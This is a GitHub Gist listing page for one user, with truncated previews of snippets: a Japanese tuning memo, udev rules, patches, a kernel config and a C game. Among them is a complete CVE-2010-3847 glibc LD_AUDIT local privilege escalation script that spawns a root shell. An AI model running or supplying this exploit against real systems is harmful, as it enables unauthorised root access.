Skip to content

Instantly share code, notes, and snippets.

@hamano
hamano / tuningathon2_memo.txt
Created October 3, 2011 12:40
hamano's gist: 第2回 Tuningathon チューニングメモ
# 第2回 Tuningathon チューニングメモ
このメモは @hamano が [第2回 Tuningathon][1] に参加した際に行ったチュー
ニングポイントと感想です。
[1]: http://www.zusaar.com/event/agZ6dXNhYXJyDQsSBUV2ZW50GLmFBgw "第2弾!いろいろチューニングしてパフォーマンスを競うバトルイベント開催!「Tuningathon」2!! #tuningathon"
今回のお題は MediaWiki への参照性能という事でまたPHPか! とは思いました
が2台構成可、Web Serverの入れ替え可、という条件でしたのでチューニングの
範囲が大きく広がった様に感じました。
@hamano
hamano / gist:1061973
Created July 3, 2011 05:22
/etc/udev/rules.d/50-android.rules
# Xperia mini pro(u20i)
SUBSYSTEM=="usb", SYSFS{idVendor}=="0fce", GROUP="plugdev", MODE="0666",SYMLINK+="android"
# IS01
SUBSYSTEM=="usb", SYSFS{idVendor}=="04dd", GROUP="plugdev", MODE="0666",SYMLINK+="android"
# A81E
SUBSYSTEM=="usb", SYSFS{idVendor}=="18d1", GROUP="plugdev", MODE="0666",SYMLINK+="android"
# Optimus
@hamano
hamano / A81E.md
Created December 2, 2010 15:34
A81E(中華Pad)メモ
diff --git a/build/top.mk b/build/top.mk
index 4bd23d2..082c5ba 100644
--- a/build/top.mk
+++ b/build/top.mk
@@ -58,7 +58,8 @@ INSTALL_PROGRAM = $(INSTALL)
INSTALL_DATA = $(INSTALL) -m 644
INSTALL_SCRIPT = $(INSTALL)
-STRIP = -s
+#STRIP = -s
@hamano
hamano / CVE-2010-3847.sh
Created October 21, 2010 13:19
CVE-2010-3847
#!/bin/sh
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 999< /tmp/exploit/target
rm -rf /tmp/exploit/
echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc -
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999
@hamano
hamano / README.md
Last active April 9, 2024 09:38
unzip 6.0 日本語化パッチ(Shift_JISファイル名などに対応)
@hamano
hamano / packman
Created September 3, 2010 16:40
pacman
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define CELL_BLOCK 0x00
#define CELL_WAY 0x01
#define CELL_WAY1 0x01
#define CELL_WAY2 0x02
#define CELL_WAY3 0x03
diff --git a/vl.c b/vl.c
index fdee289..8b27654 100644
--- a/vl.c
+++ b/vl.c
@@ -4569,7 +4569,11 @@ int qemu_uuid_parse(const char *str, uint8_t *uuid)
static void termsig_handler(int signal)
{
- qemu_system_shutdown_request();
+ if(signal == SIGTERM){
#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.29
# Fri May 21 16:55:08 2010
#
CONFIG_ARM=y
CONFIG_SYS_SUPPORTS_APM_EMULATION=y
CONFIG_GENERIC_GPIO=y
CONFIG_GENERIC_TIME=y
CONFIG_GENERIC_CLOCKEVENTS=y
% dpkg -l | grep xserver-xorg-video-intel
ii xserver-xorg-video-intel 2:2.9.1-4 X.Org X server -- Intel i8xx, i9xx display driver
% xdpyinfo
name of display: :0.0
version number: 11.0
vendor string: The X.Org Foundation
vendor release number: 10707000
X.Org version: 1.7.7
maximum request size: 16777212 bytes